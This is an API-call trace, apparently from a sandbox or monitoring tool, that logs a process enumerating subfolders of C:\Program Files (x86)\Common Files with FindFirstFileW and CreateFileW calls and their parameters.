	[0054.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System" (normalized: "c:\\program files (x86)\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB" (normalized: "c:\\program files (x86)\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.785] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado" (normalized: "c:\\program files (x86)\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.797] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared" (normalized: "c:\\program files (x86)\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.813] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.818] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.819] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.819] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.822] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.822] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
